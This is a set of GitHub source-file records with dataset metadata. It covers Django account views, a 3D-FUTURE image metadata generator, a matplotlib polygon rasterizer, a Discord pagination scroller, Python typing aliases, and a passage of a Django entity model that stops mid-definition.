CollectionGroupUser.objects.create(\n            #   role='normal',\n            #   collectiongroup=cg,\n            #   user=user\n            # )\n            # cguser.save()\n            only_joined_count +=1\n        total = created_count+only_joined_count\n        result = {\n          'status': 'added', 'errors': [],\n          'newmembers': new_members,\n          'msg': '<p>Created ' + str(created_count) + ' new WHG users</p>' +\n                 '<p>Added <b>'+str(total)+'</b> new group members</p>'\n        }\n      except:\n        result = {'status': 'failed', 'errors': sys.exc_info(),\n                  'msg': 'something went wrong!'}\n\n    return JsonResponse(result, safe=False)\n\n\n@login_required\n@transaction.atomic\ndef update_profile(request):\n  print('update_profile() request.method',request.method)\n  context = {}\n  if request.method == 'POST':\n    user_form = UserModelForm(request.POST, instance=request.user)\n    # profile_form = ProfileModelForm(request.POST, instance=request.user.profile)\n    if user_form.is_valid():\n    # if user_form.is_valid() and profile_form.is_valid():\n      user_form.save()\n      # profile_form.save()\n      messages.success(request, ('Your profile was successfully updated!'))\n      return redirect('accounts:profile')\n    else:\n      print()\n      print('error, user_form',user_form.cleaned_data)\n      # print('error, profile_form',profile_form.cleaned_data)\n      messages.error(request, ('Please correct the error below.'))\n  else:\n    user_form = UserModelForm(instance=request.user)\n    # profile_form = ProfileModelForm(instance=request.user.profile)\n    id_ = request.user.id\n    u = get_object_or_404(User, id=id_)\n    ds_owned = [[ds.id, ds.title, 'owner'] for ds in Dataset.objects.filter(owner = u).order_by('title')]\n    ds_collabs = [[dc.dataset_id.id, dc.dataset_id.title, dc.role] for dc in DatasetUser.objects.filter(user_id_id = id_)]\n    # groups = u.groups.values_list('name', flat=True)\n    groups_owned = u.groups.all()\n    group_leader = 'group_leaders' in  u.groups.values_list('name', flat=True) # True or False\n\n    context['ds_owned'] = ds_owned\n    context['ds_collabs'] = ds_collabs\n    # TODO: context object for collections - place or dataset, owned or collaborated on\n    context['coll_owned'] = Collection.objects.filter(owner=u, collection_class='place')\n    context['coll_collab'] = CollectionUser.objects.filter(user = u)\n    # context['collections'] = Collection.objects.filter(owner=u)\n    context['groups_owned'] = groups_owned\n    context['mygroups'] = [ g.collectiongroup for g in CollectionGroupUser.objects.filter(user=u)]\n    context['group_leader'] = group_leader\n    context['comments'] = 'get comments associated with projects I own'\n\n    return render(request, 'accounts/profile.html', {\n      'user_form': user_form,\n        # 'profile_form': profile_form,\n      'context': context\n  })\n\ndef register(request):\n  if request.method == 'POST':\n    if request.POST['password1'] == request.POST['password2']:\n      try:\n        User.objects.get(email=request.POST['email'])\n        return render(request, 'accounts/register.html', {'error': 'That email is already taken'})\n      except User.DoesNotExist:\n        print('request.POST',request.POST)\n        user = User.objects.create_user(\n                  request.POST['email'],\n                    password=request.POST['password1'],\n                    # email=request.POST['email'],\n                    affiliation=request.POST['affiliation'],\n                    name=request.POST['name'],\n                    role='normal',\n                )\n        auth.login(request, user, backend='django.contrib.auth.backends.ModelBackend')\n        return redirect('home')\n    else:\n      return render(request, 'accounts/register.html', {'error': 'Sorry, password mismatch!'})\n  else:\n    return render(request, 'accounts/register.html')\n\ndef login(request):\n  if request.method == 'POST':\n    user = auth.authenticate(email=request.POST['email'],password=request.POST['password'])\n    if user is not None:\n      auth.login(request,user, backend='django.contrib.auth.backends.ModelBackend')\n      return redirect('home')\n    else:\n      raise forms.ValidationError(\"Sorry, that login was invalid. Please try again.\")\n  else:\n    return render(request, 'accounts/login.html')\n\ndef logout(request):\n  if request.method == 'POST':\n    auth.logout(request)\n    return redirect('home')\n\n\n\n", "repo_name": "WorldHistoricalGazetteer/whg3", "sub_path": "accounts/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 9325, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.contrib.auth.get_user_model", "line_number": 4, "usage_type": "call"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 22, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 24, "usage_type": "call"}, {"api_name": "re.fullmatch", "line_number": 26, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 32, "usage_type": "call"}, {"api_name": "collection.models.CollectionGroupUser.objects.create", "line_number": 73, "usage_type": "call"}, {"api_name": "collection.models.CollectionGroupUser.objects", "line_number": 73, "usage_type": "attribute"}, {"api_name": "collection.models.CollectionGroupUser", "line_number": 73, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 86, "usage_type": "call"}, {"api_name": "collection.models.CollectionGroup", "line_number": 86, "usage_type": "argument"}, {"api_name": "tempfile.mkstemp", "line_number": 98, "usage_type": "call"}, {"api_name": "os.write", "line_number": 102, "usage_type": "call"}, {"api_name": "os.close", "line_number": 106, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 115, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 116, "usage_type": "call"}, {"api_name": "re.match", "line_number": 128, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 156, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 159, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 80, "usage_type": "name"}, {"api_name": "accounts.forms.UserModelForm", "line_number": 168, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 174, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 174, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 175, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 180, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 180, "usage_type": "name"}, {"api_name": "accounts.forms.UserModelForm", "line_number": 182, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 185, "usage_type": "call"}, {"api_name": "datasets.models.Dataset.objects.filter", "line_number": 186, "usage_type": "call"}, {"api_name": "datasets.models.Dataset.objects", "line_number": 186, "usage_type": "attribute"}, {"api_name": "datasets.models.Dataset", "line_number": 186, "usage_type": "name"}, {"api_name": "datasets.models.DatasetUser.objects.filter", "line_number": 187, "usage_type": "call"}, {"api_name": "datasets.models.DatasetUser.objects", "line_number": 187, "usage_type": "attribute"}, {"api_name": "datasets.models.DatasetUser", "line_number": 187, "usage_type": "name"}, {"api_name": "collection.models.Collection.objects.filter", "line_number": 195, "usage_type": "call"}, {"api_name": "collection.models.Collection.objects", "line_number": 195, "usage_type": "attribute"}, {"api_name": "collection.models.Collection", "line_number": 195, "usage_type": "name"}, {"api_name": "collection.models.CollectionUser.objects.filter", "line_number": 196, "usage_type": "call"}, {"api_name": "collection.models.CollectionUser.objects", "line_number": 196, "usage_type": "attribute"}, {"api_name": "collection.models.CollectionUser", "line_number": 196, "usage_type": "name"}, {"api_name": "collection.models.CollectionGroupUser.objects.filter", "line_number": 199, "usage_type": "call"}, {"api_name": "collection.models.CollectionGroupUser.objects", "line_number": 199, "usage_type": "attribute"}, {"api_name": "collection.models.CollectionGroupUser", "line_number": 199, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 203, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 162, "usage_type": "name"}, {"api_name": "django.db.transaction.atomic", "line_number": 163, "usage_type": "attribute"}, {"api_name": "django.db.transaction", "line_number": 163, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 214, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 225, "usage_type": "call"}, {"api_name": "django.contrib.auth", "line_number": 225, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 226, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 228, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 230, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 234, "usage_type": "call"}, {"api_name": "django.contrib.auth", "line_number": 234, "usage_type": "name"}, {"api_name": "django.contrib.auth.login", "line_number": 236, "usage_type": "call"}, {"api_name": "django.contrib.auth", "line_number": 236, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 237, "usage_type": "call"}, {"api_name": "django.forms.ValidationError", "line_number": 239, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 239, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 241, "usage_type": "call"}, {"api_name": "django.contrib.auth.logout", "line_number": 245, "usage_type": "call"}, {"api_name": "django.contrib.auth", "line_number": 245, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 246, "usage_type": "call"}]}
{"seq_id": "39075999439", "text": "import csv\nimport json\nimport os\n\n\nclass Future3DClassification:\n    def __init__(self, data_path):\n        self.base_future_3d_dir = os.path.join(data_path, '3d_front')\n        self.future_3d_dir = os.path.join(self.base_future_3d_dir, '3D-FUTURE-scene')\n        self.model_info_path = os.path.join(self.future_3d_dir, 'GT', 'model_infos.json')\n        self.test_json_path = os.path.join(self.future_3d_dir, 'GT', 'test_set.json')\n        self.train_json_path = os.path.join(self.future_3d_dir, 'GT', 'train_set.json')\n\n    def generate(self, count):\n        train_output_path, test_output_path = self.get_output_paths()\n        with open(self.train_json_path) as f:\n            train_data = json.load(f)\n            image_file_name = self.get_image_file_names(train_data)\n            annotations = self.group_annotations(train_data)\n            metadata_path = os.path.join(train_output_path, 'metadata.csv')\n            for image_id in annotations:\n                image_path = os.path.join(self.future_3d_dir, 'train', 'image', image_file_name[image_id] + '.jpg')\n                if os.path.exists(image_path):\n                    self.log(image_id, image_path, annotations[image_id], metadata_path)\n                else:\n                    print('Cant find image {}'.format(image_path))\n\n        with open(self.test_json_path) as f:\n            test_data = json.load(f)\n            image_file_name = self.get_image_file_names(test_data)\n            annotations = self.group_annotations(test_data)\n            metadata_path = os.path.join(test_output_path, 'metadata.csv')\n            for image_id in annotations:\n                image_path = os.path.join(self.future_3d_dir, 'test', 'image', image_file_name[image_id] + '.jpg')\n                if os.path.exists(image_path):\n                    self.log(image_id, image_path, annotations[image_id], metadata_path)\n                else:\n                    print('Cant find image {}'.format(image_path))\n\n    def get_output_paths(self):\n        output_dir = os.path.join(self.base_future_3d_dir, 'generated_classification')\n        os.makedirs(output_dir, exist_ok=True)\n        train_output_path = os.path.join(output_dir, 'train')\n        os.makedirs(train_output_path, exist_ok=True)\n        test_output_path = os.path.join(output_dir, 'test')\n        os.makedirs(test_output_path, exist_ok=True)\n\n        return train_output_path, test_output_path\n\n    def get_categories(self, json_data):\n        raw_categories = json_data['categories']\n        return {x['id']: x['category'] for x in raw_categories}\n\n    def group_annotations(self, json_data):\n        result = {}\n        annotations = json_data['annotations']\n        for annotation in annotations:\n            image_id = annotation['image_id']\n            if image_id not in result:\n                result[image_id] = []\n\n            if annotation['category_id'] not in result[image_id]:\n                result[image_id].append(annotation['category_id'])\n\n        return result\n\n    def get_image_file_names(self, json_data):\n        images = json_data['images']\n\n        result = {}\n        for image in images:\n            result[image['id']] = image['file_name']\n\n        return result\n\n    def log(self, image_id, path, categories, metadata_path):\n        if not os.path.exists(metadata_path):\n            with open(metadata_path, 'w', newline='') as f:\n                writer = csv.writer(f)\n                writer.writerow(['image_id', 'path', 'categories'])\n\n        with open(metadata_path, 'a', newline='') as f:\n            writer = csv.writer(f)\n            categories_string = \"\"\n            for category in categories:\n                categories_string += str(category) + \";\"\n\n            categories_string = categories_string.strip(\";\")\n            writer.writerow([image_id, path, categories_string])\n\n", "repo_name": "ornachmias/multi-objects-generation", "sub_path": "data_generation/future_3d_classification.py", "file_name": "future_3d_classification.py", "file_ext": "py", "file_size_in_byte": 3832, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.join", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 79, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 83, "usage_type": "call"}]}
{"seq_id": "1467813996", "text": "import matplotlib.pyplot as plt\nfrom service.rasterize_half_lines import rasterize_half_lines\nfrom service.fill_rasterized_polygon import fill_rasterized_polygon\n\ndef plot_rasterized_polygon(resolutions, aspect_ratio, semirretas, colors):\n    \"\"\"\n    Plota o polígono formado pelas semirretas, primeiro na forma de linhas contínuas e, \n    em seguida, rasteriza e preenche o polígono em diferentes resoluções.\n\n    Args:\n        resolutions (list): Lista de tuplas representando as diferentes resoluções para rasterizar as semirretas.\n            Cada tupla contém a largura e a altura da imagem em pixels (exemplo: [(200, 200), (400, 400), (800, 800)]).\n        aspect_ratio (float): Proporção entre a largura e a altura do espaço onde as semirretas estão contidas.\n        semirretas (list): Lista de listas contendo as coordenadas (x, y) das extremidades das semirretas.\n            Cada sublista contém duas tuplas com as coordenadas das extremidades da semirreta (exemplo: [[(0, 0), (1, 1)], [(1, 1), (2, 0)]]).\n        colors (list): Lista de tuplas de três valores (R, G, B) especificando a cor das semirretas e do polígono.\n\n    Returns:\n        None (exibe o plot diretamente)\n\n    Raises:\n        None\n    \"\"\"\n    \n    # Mostra as semirretas no modelo continuo\n    fig, ax = plt.subplots()\n    # Percorrendo todas as arestas \n    for aresta in semirretas:\n            x = [p[0] for p in aresta]\n            y = [p[1] for p in aresta]\n            ax.plot(x, y)\n\n    fig, (ax1, ax2) = plt.subplots(ncols=2, figsize=(20,10))\n    for resolution in resolutions:\n\n        # Rasteriza as semirretas na resolução escolhida\n        img = rasterize_half_lines(resolution, aspect_ratio, semirretas, colors)\n        \n        # Mostra as semirretas rasterizadas no primeiro subplot\n        ax1.imshow(img)\n        ax1.set_title(f'Semirretas rasterizadas - Resolução: {resolution[0]} x {resolution[1]}')\n        ax1.invert_yaxis()\n        ax1.axis('off')\n        \n        # Preenche o polígono na imagem rasterizada\n        img = fill_rasterized_polygon(img, colors)\n        \n        # Mostra a imagem resultante no segundo subplot\n        ax2.imshow(img)\n        ax2.set_title(f'Polígono preenchido - Resolução: {resolution[0]} x {resolution[1]}')\n        ax2.invert_yaxis()\n        ax2.axis('off')\n        \n        # Mostra ambos os subplots\n        plt.show()\n", "repo_name": "jbrun0r/cg-rasterized", "sub_path": "rasterized/service/plot_rasterized_polygon.py", "file_name": "plot_rasterized_polygon.py", "file_ext": "py", "file_size_in_byte": 2382, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "matplotlib.pyplot.subplots", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "service.rasterize_half_lines.rasterize_half_lines", "line_number": 37, "usage_type": "call"}, {"api_name": "service.fill_rasterized_polygon.fill_rasterized_polygon", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}]}
{"seq_id": "38705995102", "text": "from __future__ import annotations\n\n# Discord Packages\nimport discord\n\nimport asyncio\nfrom enum import Flag, auto\nfrom typing import List, Optional, Tuple\n\nfrom bot import MusicBot\n\nfrom .paginators import BasePaginator, CantScrollException\n\n\nclass ClearOn(Flag):\n    Timeout = auto()\n    ManualExit = auto()\n    AnyExit = Timeout | ManualExit\n\n\nclass ScrollerButton(discord.ui.Button):\n    def __init__(self, callback, label, style=discord.ButtonStyle.gray, **kwargs):\n        super().__init__(label=label, style=style, **kwargs)\n        self.callback = callback\n\n\nclass ScrollerNav(discord.ui.Select):\n    def __init__(self, callback, **kwargs):\n        super().__init__(**kwargs)\n        self.callback = callback\n\n\nclass Scroller:\n    def __init__(self, ctx, paginator, timeout=20.0, use_tick_for_stop_emoji: bool = False,\n                 show_cancel_for_single_page: bool = False):\n\n        if not isinstance(paginator, BasePaginator):\n            raise TypeError('Paginator needs to be a subclass of BasePaginator.')\n\n        self.paginator = paginator\n        self.ctx = ctx\n\n        # No embeds to scroll through\n        if not self.paginator.pages:\n            raise Exception(\"Paginator contained no pages to display\")  # TODO: proper error\n\n        self.bot: MusicBot = ctx.bot\n        self.channel = ctx.channel\n        self.message: Optional[discord.Message] = None\n\n        # Initialize the view we'll be using for scrolling\n        self.view = discord.ui.View(timeout=timeout)\n        self.view.on_timeout = self.on_timeout\n\n        self.is_scrolling_paginator = len(self.paginator.pages) > 1\n        self.use_nav_bar = len(self.paginator.pages) > 3\n        self.scrolling_done = asyncio.Event()\n\n        stop_emoji = '✔️' if use_tick_for_stop_emoji else '❌'\n\n        self.control_buttons: List[ScrollerButton] = []\n\n        self.forward_button = ScrollerButton(self.next_page, '\\N{BLACK RIGHT-POINTING TRIANGLE}', row=3)\n        self.back_button = ScrollerButton(self.previous_page, '\\N{BLACK LEFT-POINTING TRIANGLE}', row=3)\n        first_page_button = ScrollerButton(self.first_page,\n                                           '\\N{BLACK LEFT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR}', row=3)\n        last_page_button = ScrollerButton(self.last_page,\n                                          '\\N{BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR}', row=3)\n        self.stop_button = ScrollerButton(self.stop_scrolling, stop_emoji, row=3)\n\n        # We start on the first page, can't go back\n        self.back_button.disabled = True\n\n        # Determine which buttons should be visible depending on the number of pages\n        if (self.is_scrolling_paginator):\n            if (len(self.paginator.pages) > 2):\n                self.control_buttons = [first_page_button, self.back_button, self.forward_button,\n                                        last_page_button, self.stop_button]\n            else:\n                self.control_buttons = [self.back_button, self.forward_button, self.stop_button]\n        elif show_cancel_for_single_page:\n            self.control_buttons = [self.stop_button]\n\n        bot_user = ctx.guild if ctx.guild.me is not None else ctx.bot.user\n        self.permissions = self.channel.permissions_for(bot_user)\n\n        if not self.permissions.embed_links:\n            raise CantScrollException('Bot does not have embed links permission.')\n\n        if not self.permissions.send_messages:\n            raise CantScrollException('Bot cannot send messages.')\n\n    async def start_scrolling(self, clear_mode: ClearOn,\n                              message: Optional[discord.Message] = None,\n                              start_page: int = 0) -> Tuple[discord.Message, bool]:\n        self.clear_mode = clear_mode\n        self.page_number = min(start_page, len(self.paginator.pages))\n        self.build_view()\n        self.update_view()\n        if message:\n            self.message = message\n            await self.message.edit(embed=self.current_page_embed, view=self.view)\n        else:\n            self.message = await self.channel.send(embed=self.current_page_embed, view=self.view)\n        await self.scrolling_done.wait()\n        return self.message, self.timed_out\n\n    def update_view_on_interaction(self, _: discord.Interaction):\n        self.update_view()\n\n    def update_view(self):\n        if self.use_nav_bar:\n            self.navigator.placeholder = f\"Page: {self.page_number + 1}/{len(self.paginator.pages)}\"\n\n        if self.is_scrolling_paginator:\n            self.back_button.disabled = self.page_number == 0\n            self.forward_button.disabled = self.page_number == len(self.paginator.pages)-1\n\n    def build_view(self):\n        for button in self.control_buttons:\n            self.view.add_item(item=button)\n\n        if self.use_nav_bar:\n            self.navigator = ScrollerNav(self.navigate, placeholder=\"Navigate to page\", row=4)\n            self.view.add_item(item=self.navigator)\n            for (i, _) in enumerate(self.paginator.pages):\n                self.navigator.add_option(label=str(i+1), value=str(i))\n\n    async def stop(self, was_timeout: bool, clear_scroller_view: bool = True):\n        self.is_scrolling_paginator = False\n        self.view.stop()\n        if clear_scroller_view:\n            self.view.clear_items()\n        self.timed_out = was_timeout\n        if (not was_timeout and self.clear_mode & ClearOn.ManualExit or\n                was_timeout and self.clear_mode & ClearOn.Timeout):\n            if self.message:\n                await self.message.delete()\n                self.message = None\n            # If this fails the message is not accessable either way, which\n            # means it is probably deleted\n            try:\n                if self.ctx.message:\n                    await self.ctx.message.delete()\n            except discord.HTTPException:\n                pass\n        else:\n            if clear_scroller_view:\n                await self.update_message()\n\n        # Notify the start_scrolling function that we're done\n        self.scrolling_done.set()\n\n    async def _scroll(self, page, interaction: discord.Interaction):\n        if interaction.user.id != self.ctx.author.id:\n            return await interaction.response.defer()\n\n        if page < 0 or page >= len(self.paginator.pages):\n            return\n        self.page_number = page\n\n        if interaction.message:\n            # Update the view before we edit the message\n            self.update_view_on_interaction(interaction)\n            await self.update_message()\n        await interaction.response.defer()\n\n    async def update_message(self):\n        if self.message:\n            await self.message.edit(embed=self.current_page_embed, view=self.view)\n\n    async def first_page(self, interaction: discord.Interaction):\n        await self._scroll(0, interaction)\n\n    async def last_page(self, interaction: discord.Interaction):\n        await self._scroll(len(self.paginator.pages) - 1, interaction)\n\n    async def next_page(self, interaction: discord.Interaction):\n        await self._scroll(self.page_number + 1, interaction)\n\n    async def previous_page(self, interaction: discord.Interaction):\n        await self._scroll(self.page_number - 1, interaction)\n\n    async def navigate(self, interaction: discord.Interaction):\n        await self._scroll(int(self.navigator.values[0]), interaction)\n\n    async def stop_scrolling(self, interaction: discord.Interaction):\n        await interaction.response.defer()\n        await self.stop(was_timeout=False)\n\n    async def on_timeout(self):\n        await self.stop(was_timeout=True)\n\n    @property\n    def current_page_embed(self):\n        return self.paginator.pages[self.page_number]\n", "repo_name": "r-Norge/ShiteMusicBot", "sub_path": "musicbot/utils/userinteraction/scroller.py", "file_name": "scroller.py", "file_ext": "py", "file_size_in_byte": 7713, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "78", "api": [{"api_name": "enum.Flag", "line_number": 15, "usage_type": "name"}, {"api_name": "enum.auto", "line_number": 16, "usage_type": "call"}, {"api_name": "enum.auto", "line_number": 17, "usage_type": "call"}, {"api_name": "discord.ui", "line_number": 21, "usage_type": "attribute"}, {"api_name": "discord.ButtonStyle", "line_number": 22, "usage_type": "attribute"}, {"api_name": "discord.ui", "line_number": 27, "usage_type": "attribute"}, {"api_name": "paginators.BasePaginator", "line_number": 37, "usage_type": "argument"}, {"api_name": "bot.MusicBot", "line_number": 47, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 49, "usage_type": "name"}, {"api_name": "discord.Message", "line_number": 49, "usage_type": "attribute"}, {"api_name": "discord.ui.View", "line_number": 52, "usage_type": "call"}, {"api_name": "discord.ui", "line_number": 52, "usage_type": "attribute"}, {"api_name": "asyncio.Event", "line_number": 57, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 61, "usage_type": "name"}, {"api_name": "paginators.CantScrollException", "line_number": 88, "usage_type": "call"}, {"api_name": "paginators.CantScrollException", "line_number": 91, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 94, "usage_type": "name"}, {"api_name": "discord.Message", "line_number": 94, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 95, "usage_type": "name"}, {"api_name": "discord.Message", "line_number": 95, "usage_type": "attribute"}, {"api_name": "discord.Interaction", "line_number": 108, "usage_type": "attribute"}, {"api_name": "discord.HTTPException", "line_number": 145, "usage_type": "attribute"}, {"api_name": "discord.Interaction", "line_number": 154, "usage_type": "attribute"}, {"api_name": "discord.Interaction", "line_number": 172, "usage_type": "attribute"}, {"api_name": "discord.Interaction", "line_number": 175, "usage_type": "attribute"}, {"api_name": "discord.Interaction", "line_number": 178, "usage_type": "attribute"}, {"api_name": "discord.Interaction", "line_number": 181, "usage_type": "attribute"}, {"api_name": "discord.Interaction", "line_number": 184, "usage_type": "attribute"}, {"api_name": "discord.Interaction", "line_number": 187, "usage_type": "attribute"}]}
{"seq_id": "23556122291", "text": "from typing import Tuple, Any, Dict, Callable, TypeVar\n\n# The type of a standard *args parameter\nPOSITIONAL_ARGS_TYPE = Tuple[Any, ...]\n\n# The type of a standard **kwargs parameter\nKEYWORD_ARGS_TYPE = Dict[str, Any]\n\n# The type of *args, **kwargs combined\nVAR_ARGS_TYPE = Tuple[POSITIONAL_ARGS_TYPE, KEYWORD_ARGS_TYPE]\n\n# The type of a callable (non-generic)\nAnyCallable = Callable[[Any], Any]\n\n# The generic type of arguments to a callable\nArgType = TypeVar(\"ArgType\")\n\n# The generic return type of a callable\nReturnType = TypeVar(\"ReturnType\")\n\n# The type of a generic callable\nGenericCallable = Callable[[ArgType], ReturnType]\n\n# The type of a generic decorator function\nGenericDecorator = Callable[[GenericCallable], GenericCallable]\n", "repo_name": "waikato-datamining/wai-common", "sub_path": "src/wai/common/meta/typing/_typing.py", "file_name": "_typing.py", "file_ext": "py", "file_size_in_byte": 738, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.Tuple", "line_number": 4, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 4, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 7, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 7, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 10, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.TypeVar", "line_number": 16, "usage_type": "call"}, {"api_name": "typing.TypeVar", "line_number": 19, "usage_type": "call"}, {"api_name": "typing.Callable", "line_number": 22, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 25, "usage_type": "name"}]}
{"seq_id": "27697135063", "text": "import logging\nimport warnings\nimport random\nfrom datetime import timedelta, date\n\nfrom django.conf import settings as django_settings\nfrom django.contrib.auth.base_user import AbstractBaseUser\nfrom django.contrib.auth.models import PermissionsMixin\nfrom django.contrib.auth import password_validation\nfrom django.core.exceptions import ValidationError\nfrom django.core.validators import MaxLengthValidator\nfrom django.urls import reverse\nfrom django.db import models, transaction\nfrom django.dispatch import receiver\nfrom django.utils import formats\nfrom django.utils.timezone import now\nfrom django.utils.html import avoid_wrapping\nfrom django.utils.functional import classproperty, cached_property\nfrom django.utils.translation import get_language, gettext_lazy as _, pgettext_lazy\nfrom django.contrib.sites.models import Site\n\nfrom translated_fields import TranslatedField\n\nfrom speedy.core.base.mail import send_mail\nfrom speedy.core.base.managers import BaseManager\nfrom speedy.core.base.models import TimeStampedModel\nfrom speedy.core.base.fields import SmallUDIDField, RegularUDIDField\nfrom speedy.core.base.utils import normalize_slug, normalize_username, generate_confirmation_token, get_age, string_is_not_none, to_attribute, get_all_field_names, convert_to_set, timesince\nfrom speedy.core.uploads.fields import PhotoField\nfrom .managers import EntityManager, UserManager\nfrom .fields import UserAccessField\nfrom .utils import get_site_profile_model, normalize_email\nfrom . import validators as speedy_core_accounts_validators\n\nlogger = logging.getLogger(__name__)\n\n\nclass CleanAndValidateAllFieldsMixin(object):\n    def clean_fields(self, exclude=None):\n        \"\"\"\n        Allows to have different slug and username validators for Entity and User.\n        \"\"\"\n        exclude = convert_to_set(exclude=exclude)\n        self.clean_all_fields(exclude=exclude)\n\n        try:\n            super().clean_fields(exclude=exclude)\n        except ValidationError as e:\n            errors = e.error_dict\n        else:\n            errors = {}\n\n        self.validate_all_fields(errors=errors, exclude=exclude)\n\n    def clean_all_fields(self, exclude=None):\n        pass\n\n    def validate_all_fields(self, errors, exclude=None):\n        exclude = convert_to_set(exclude=exclude)\n\n        for field_name, validators in self.validators.items():\n            f = self._meta.get_field(field_name)\n            if (field_name in exclude):\n                pass\n            else:\n                raw_value = getattr(self, f.attname)\n                if ((f.blank) and (raw_value in f.empty_values)):\n                    pass\n                else:\n                    try:\n                        for validator in validators:\n                            if (isinstance(validator, str)):\n                                getattr(self, validator)()\n                            else:\n                                validator(raw_value)\n                    except ValidationError as e:\n                        errors[f.name] = [e.error_list[0].messages[0]]\n        if (errors):\n            raise ValidationError(errors)\n\n\nclass Entity(CleanAndValidateAllFieldsMixin, TimeStampedModel):\n    id = SmallUDIDField()\n    username = models.CharField(verbose_name=_('username'), max_length=255, unique=True, error_messages={'unique': _('This username is already taken.')})\n    slug 